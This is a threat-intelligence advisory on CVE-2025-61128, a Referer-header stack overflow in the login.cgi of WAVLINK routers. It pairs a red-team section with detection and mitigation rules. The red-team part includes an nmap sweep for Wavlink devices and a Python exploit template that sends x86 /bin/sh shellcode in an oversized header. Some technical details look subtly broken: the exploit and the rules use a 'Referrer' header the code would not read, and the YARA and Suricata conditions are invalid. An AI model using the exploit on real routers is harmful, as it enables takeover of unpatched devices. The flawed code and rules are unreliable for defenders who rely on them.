CVE-2025-61128

Executive Summary

CVE-2025-61128 is a critical stack-based buffer overflow vulnerability (CWE-121) discovered in the WAVLINK QUANTUM D3G and WL-WN530HG3 routers running firmware version M30HG3_V240730. The flaw resides in the login.cgi CGI binary, where a crafted Referrer HTTP header value is copied into a fixed-size stack buffer without proper bounds checking. An unauthenticated attacker can trigger remote code execution (RCE) by sending a specially crafted POST request to the login endpoint.

The vulnerability is particularly dangerous because it requires no authentication, is exploitable over the network, and affects a widely deployed consumer router line. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, but the technical details are sufficient for a skilled attacker to develop one. The vendor has not acknowledged the issue, and no patch is available.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded Linux devices. However, the supply chain risk is significant: if these routers are used in SOHO or remote work environments, a compromise could lead to lateral movement into corporate networks.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of network accessibility, no authentication, and full RCE makes this a top-priority vulnerability for any organization using Wavlink devices.

Deep Dive & Mechanics

The vulnerability exists in the login.cgi CGI handler. When a POST request is sent to /cgi-bin/login.cgi, the server parses the Referrer HTTP header and copies its value into a stack buffer of fixed size (likely 256 or 512 bytes) using a function like strcpy() or sprintf() without length validation.

Root Cause: The Referrer header value is read via getenv("HTTP_REFERER") and then passed directly to a stack buffer copy operation. An attacker can supply a Referrer value exceeding the buffer size, overwriting the saved return address and other critical stack data.

Attack Flow:

1. Attacker sends a POST request to http://<router-ip>/cgi-bin/login.cgi with a Referrer header containing shellcode and a ROP chain.
2. The login.cgi binary copies the oversized Referrer into a stack buffer.
3. The overflow overwrites the return address, redirecting execution to the attacker's shellcode.
4. Shellcode executes with the privileges of the httpd process (typically root on embedded devices).

Affected Endpoint: POST /cgi-bin/login.cgi
Vulnerable Header: Referrer: [overflow payload]

Vulnerable vs. Patched Code

Since no patch exists, we can only describe the vulnerable code pattern and the hypothetical fix.

Vulnerable Code (C pseudocode):

void handle_login() {
    char buffer[256];
    char *referrer = getenv("HTTP_REFERER");
    if (referrer != NULL) {
        strcpy(buffer, referrer);  // VULNERABLE: no bounds check
    }
    // ... process login ...
}

Patched Code (Hypothetical fix):

void handle_login() {
    char buffer[256];
    char *referrer = getenv("HTTP_REFERER");
    if (referrer != NULL) {
        strncpy(buffer, referrer, sizeof(buffer) - 1);
        buffer[sizeof(buffer) - 1] = '\0';  // SAFE: bounded copy
    }
    // ... process login ...
}

The fix replaces strcpy with strncpy and ensures null-termination. Alternatively, using snprintf would be even safer.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3 with requests and pwntools libraries
• A Wavlink router with firmware M30HG3_V240730 (or similar)
• Network access to the router's web interface

Exploitation Steps:

1. Identify the target: Scan for Wavlink devices using Shodan or Nmap.

   nmap -p 80 --script http-title 192.168.1.0/24 | grep -i wavlink
   

2. Craft the exploit payload. Since no public PoC exists, we provide a generic template. You must adjust offsets and shellcode for the specific firmware.

   import socket
   import struct
   
   # Adjust these values based on firmware analysis
   BUFFER_SIZE = 256
   OFFSET_TO_RET = 264  # Example offset
   SHELLCODE = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
   
   # Build payload
   payload = b"A" * OFFSET_TO_RET
   payload += struct.pack("<I", 0xdeadbeef)  # Return address (to be calculated)
   payload += SHELLCODE
   
   # Send exploit
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect(("192.168.1.1", 80))
   request = f"POST /cgi-bin/login.cgi HTTP/1.1\r\nHost: 192.168.1.1\r\nReferrer: {payload.decode('latin-1')}\r\nContent-Length: 0\r\n\r\n"
   sock.send(request.encode())
   sock.close()
   

3. Execute and gain shell. If successful, the router will execute the shellcode, providing a reverse shell or bind shell.

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP Referrer headers for abnormally long values (>512 bytes).
2. Deploy WAF rules to block POST requests to /cgi-bin/login.cgi with Referrer headers exceeding 256 bytes.
3. Network segmentation: Isolate Wavlink routers on a separate VLAN with strict egress filtering.
4. Honeypot: Deploy a fake login.cgi endpoint to capture exploit attempts.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/cgi-bin/login.cgi" method=POST
| eval referrer_len=len(referrer)
| where referrer_len > 256
| table _time, src_ip, referrer_len, referrer

Indicators of Compromise (IOCs)

YARA Rule (for firmware analysis):

rule CVE_2025_61128_Exploit_Payload {
    meta:
        description = "Detects exploit payloads targeting CVE-2025-61128"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "Referrer: " ascii wide nocase
        $s2 = "/cgi-bin/login.cgi" ascii wide nocase
        $shellcode = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 }
    condition:
        $s1 and $s2 and #shellcode > 0
}

Detection Engineering

YARA Rule (Network Traffic)

rule CVE_2025_61128_HTTP_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-61128 via oversized Referrer header"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $method = "POST" ascii
        $uri = "/cgi-bin/login.cgi" ascii
        $referrer = "Referrer: " ascii nocase
    condition:
        $method at 0 and $uri and $referrer and
        for any of ($referrer*) : (len(#) > 256)
}

Sigma Rule (Windows Event Log - if proxied)

title: CVE-2025-61128 Exploitation Attempt via HTTP Referrer
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/login.cgi with abnormally long Referrer headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/login.cgi'
    condition: selection and len(cs(Referer)) > 256
falsepositives:
    - Legitimate long referrers (rare)
level: high

Suricata Rule (Network IDS)

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-61128 Wavlink login.cgi Referrer Buffer Overflow Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/login.cgi";
    http.header; content:"Referrer";
    http.header_raw; content:"Referrer:";
    byte_test:1,>,256,0,relative,string,dec;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-61128;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Disable remote management (WAN-side access to the web interface).
3. Apply strict firewall rules to allow only trusted IPs to access the router's web interface.
4. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fixes:

• Vendor patch: Contact Wavlink support and request a firmware update. If none is forthcoming, consider replacing the device.
• Custom firmware: If the device supports open-source firmware (e.g., OpenWrt), flash a secure alternative.
• Network segmentation: Place all IoT/embedded devices on a separate VLAN with no access to critical systems.

Workaround (if patching is impossible):

• Use a reverse proxy (e.g., Nginx) in front of the router to filter and validate HTTP headers.
• Block all POST requests to /cgi-bin/login.cgi at the network perimeter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-10